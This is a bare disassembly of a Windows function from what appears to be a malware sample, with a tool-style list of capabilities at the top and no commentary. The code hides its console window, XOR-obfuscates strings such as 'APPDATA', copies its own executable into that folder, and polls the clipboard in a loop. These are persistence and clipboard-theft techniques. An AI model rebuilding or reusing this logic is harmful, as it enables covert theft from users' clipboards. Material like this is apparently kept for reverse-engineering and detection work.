Function at 0x1400063b0
Capabilities:
Copy file
Open clipboard
Query environment variable
Read clipboard data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x1e0
mov rax, qword [0x140019010]
xor rax, rsp
mov qword [rsp + 0x1d8], rax
xor r12d, r12d
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov byte [rsp + 0xa0], 0x23
mov al, 0x62
mov cl, 0x73
movzx edx, cl
mov r8b, 0x67
movzx r9d, al
mov r10b, 0x77
movzx r11d, al
xor ebx, ebx
xor al, 0x23
mov byte [rsp + 0xa1], al
xor cl, 0x23
mov byte [rsp + 0xa2], cl
xor dl, 0x23
mov byte [rsp + 0xa3], dl
xor r8b, 0x23
mov byte [rsp + 0xa4], r8b
xor r9b, 0x23
mov byte [rsp + 0xa5], r9b
xor r10b, 0x23
mov byte [rsp + 0xa6], r10b
xor r11b, 0x23
mov byte [rsp + 0xa7], r11b
mov byte [rsp + 0xa8], bl
lea rcx, [rsp + 0xa1]
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], r12
mov r15, 0xffffffffffffffff
mov r8, r15
inc r8
cmp byte [rax + r8], bl
jne 0x140006494
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.140007fb0
nop
mov byte [rsp + 0x30], 0x71
mov al, 0x2d
xor ecx, ecx
xor al, 0x71
mov byte [rsp + 0x31], al
mov byte [rsp + 0x32], cl
lea r8, [0x14001a3c0]
lea rdx, [rsp + 0x31]
lea rcx, [rsp + 0x40]
call fcn.1400079b0
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x1400064e3
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.1400074e0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x140006531
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000652c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000652c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400103b0
lea rax, [rsp + 0x60]
cmp qword [rsp + 0x78], 0x10
cmovae rax, qword [rsp + 0x60]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x38], rax
call fcn.14000fdf0
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
lea r8, [rsp + 0x30]
mov edx, eax
lea rcx, [rsp + 0x40]
call fcn.140004400
nop
lea rcx, [rsp + 0x40]
call fcn.140004f90
movzx ebx, al
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x1400065c5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400065c0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400065c0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400103b0
test bl, bl
jne 0x14000667f
lea rax, [rsp + 0x60]
cmp qword [rsp + 0x78], 0x10
cmovae rax, qword [rsp + 0x60]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x38], rax
call fcn.14000fdf0
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
lea r8, [rsp + 0x30]
mov edx, eax
lea rcx, [rsp + 0x40]
call fcn.140004400
nop
mov qword [rsp + 0x30], r12
lea rax, [0x140019048]
mov qword [rsp + 0x38], rax
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x40]
call fcn.1400050a0
cmp dword [rsp + 0x30], 0
jne 0x140006e30
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x14000667f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000667a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000667a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400103b0
lea rax, [rsp + 0x60]
cmp qword [rsp + 0x78], 0x10
cmovae rax, qword [rsp + 0x60]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x38], rax
call fcn.14000fdf0
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
lea r8, [rsp + 0x30]
mov edx, eax
lea rcx, [rsp + 0x40]
call fcn.140004400
nop
lea rcx, [rsp + 0x40]
call fcn.140004f90
movzx ebx, al
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x140006713
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000670e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000670e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400103b0
test bl, bl
je 0x140006834
mov byte [rsp + 0x30], 0x5a
mov al, 6
xor ecx, ecx
xor al, 0x5a
mov byte [rsp + 0x31], al
mov byte [rsp + 0x32], cl
lea r8, [0x14001a2e0]
lea rdx, [rsp + 0x31]
lea rcx, [rsp + 0x40]
call fcn.1400079b0
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x140006753
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.1400074e0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x1400067a1
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000679c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000679c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400103b0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x40]
call fcn.1400072c0
mov rbx, rax
mov r8d, 0x104
lea rdx, [rsp + 0xc0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x1400067eb
mov rdx, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x1400067da
mov rdx, qword [rbx]
xor r8d, r8d
lea rcx, [rsp + 0xc0]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x140006825
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140006820
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400068c3
mov rcx, r8
call fcn.1400103b0
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
lea rax, [rsp + 0x60]
cmp qword [rsp + 0x78], 0x10
cmovae rax, qword [rsp + 0x60]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x38], rax
call fcn.14000fdf0
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
lea r8, [rsp + 0x30]
mov edx, eax
lea rcx, [rsp + 0x40]
call fcn.140004400
nop
lea rcx, [rsp + 0x40]
call fcn.140004f90
movzx ebx, al
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x1400068cf
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400068ca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400068ca
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400103b0
test bl, bl
je 0x140006b62
mov esi, dword [0x14001a330]
lea rdi, [0x14001a320]
mov r8, rdi
cmp qword [0x14001a338], 0x10
cmovae r8, qword [0x14001a320]
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
lea r9d, [rsi + 1]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd r14, eax
mov eax, 2
mul r14
cmovo rax, r15
mov rcx, rax
call fcn.140010714
mov rbx, rax
cmp qword [0x14001a338], 0x10
cmovae rdi, qword [0x14001a320]
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], rax
lea r9d, [rsi + 1]
mov r8, rdi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov rdx, rbx
lea rcx, [rsp + 0x40]
call fcn.1400070d0
mov rcx, rbx
call fcn.1400103b0
nop
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x80]
call fcn.1400070d0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x1400069ce
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400069c9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400069c9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400103b0
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], 7
mov word [rsp + 0x40], r12w
lea rcx, [rsp + 0x80]
cmp qword [rsp + 0x98], 8
cmovae rcx, qword [rsp + 0x80]
call fcn.140005b80
test eax, eax
jne 0x140006b17
mov edi, dword [rsp + 0x70]
lea r8, [rsp + 0x60]
cmp qword [rsp + 0x78], 0x10
cmovae r8, qword [rsp + 0x60]
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
lea r9d, [rdi + 1]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rsi, eax
mov eax, 2
mul rsi
cmovo rax, r15
mov rcx, rax
call fcn.140010714
mov rbx, rax
lea r8, [rsp + 0x60]
cmp qword [rsp + 0x78], 0x10
cmovae r8, qword [rsp + 0x60]
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rax
lea r9d, [rdi + 1]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov rdx, rbx
lea rcx, [rsp + 0xa0]
call fcn.1400070d0
mov rcx, rbx
call fcn.1400103b0
nop
lea rdx, [rsp + 0xa0]
cmp qword [rsp + 0xb8], 8
cmovae rdx, qword [rsp + 0xa0]
lea rcx, [rsp + 0x80]
cmp qword [rsp + 0x98], 8
cmovae rcx, qword [rsp + 0x80]
call fcn.140005f80
nop
mov rdx, qword [rsp + 0xb8]
cmp rdx, 8
jb 0x140006b17
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006b11
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006b11
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400103b0
nop
mov rdx, qword [rsp + 0x98]
cmp rdx, 8
jb 0x140006b62
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006b5d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006b5d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400103b0
movabs r13, 0x7fffffffffffffff
jmp 0x140006b77
mov r15, 0xffffffffffffffff
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
nop
mov ecx, 1
call qword [sym.imp.USER32.dll_GetClipboardData]
mov rbx, rax
xorps xmm0, xmm0
test rax, rax
jne 0x140006c0d
mov byte [rsp + 0x30], 0x15
mov al, 0x70
mov cl, 0x67
movzx edx, cl
mov r8b, 0x7a
movzx r9d, cl
xor r10d, r10d
xor al, 0x15
mov byte [rsp + 0x31], al
xor cl, 0x15
mov byte [rsp + 0x32], cl
xor dl, 0x15
mov byte [rsp + 0x33], dl
xor r8b, 0x15
mov byte [rsp + 0x34], r8b
xor r9b, 0x15
mov byte [rsp + 0x35], r9b
mov byte [rsp + 0x36], r10b
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], r12
lea rax, [rsp + 0x31]
mov r8, r15
nop
inc r8
cmp byte [rax + r8], r10b
jne 0x140006bf0
lea rdx, [rsp + 0x31]
lea rcx, [rsp + 0x40]
call fcn.140007fb0
jmp 0x140006c8e
movups xmmword [rsp + 0xa0], xmm0
mov qword [rsp + 0xa0], rbx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov qword [rsp + 0xa8], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x80], xmm0
mov qword [rsp + 0x90], r12
mov qword [rsp + 0x98], r12
mov r8, r15
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140006c50
mov rdx, rax
lea rcx, [rsp + 0x80]
call fcn.140007fb0
movups xmm0, xmmword [rsp + 0x80]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rsp + 0x90]
movups xmmword [rsp + 0x50], xmm1
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
nop
call qword [sym.imp.USER32.dll_CloseClipboard]
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x80], xmm0
mov qword [rsp + 0x90], r12
mov qword [rsp + 0x98], r12
lea r14, [rsp + 0x40]
mov rsi, qword [rsp + 0x40]
mov r15, qword [rsp + 0x58]
cmp r15, 0x10
cmovae r14, rsi
mov rdi, qword [rsp + 0x50]
cmp rdi, r13
ja 0x140006e47
mov qword [rsp + 0x98], 0xf
cmp rdi, 0x10
jae 0x140006d00
mov qword [rsp + 0x90], rdi
movups xmm0, xmmword [r14]
movups xmmword [rsp + 0x80], xmm0
jmp 0x140006da1
mov rbx, rdi
or rbx, 0xf
cmp rbx, r13
jbe 0x140006d3b
mov rbx, r13
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400103b8
mov rcx, rax
test rax, rax
je 0x140006d64
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140006d7a
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140006d6b
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140006e4c
jmp 0x140006d1d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140006d77
call fcn.1400103b8
jmp 0x140006d7a
mov rax, r12
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x90], rdi
mov qword [rsp + 0x98], rbx
lea r8, [rdi + 1]
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsp + 0x80]
call fcn.140005900
mov ecx, 0x3e8
call fcn.140005660
nop
cmp r15, 0x10
jb 0x140006b70
lea rdx, [r15 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140006def
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006def
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.1400103b0
jmp 0x140006b70
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x30]
lea rcx, str.create_directories
call fcn.140004f30
nop
call fcn.140003ad0
call fcn.140003a30
int3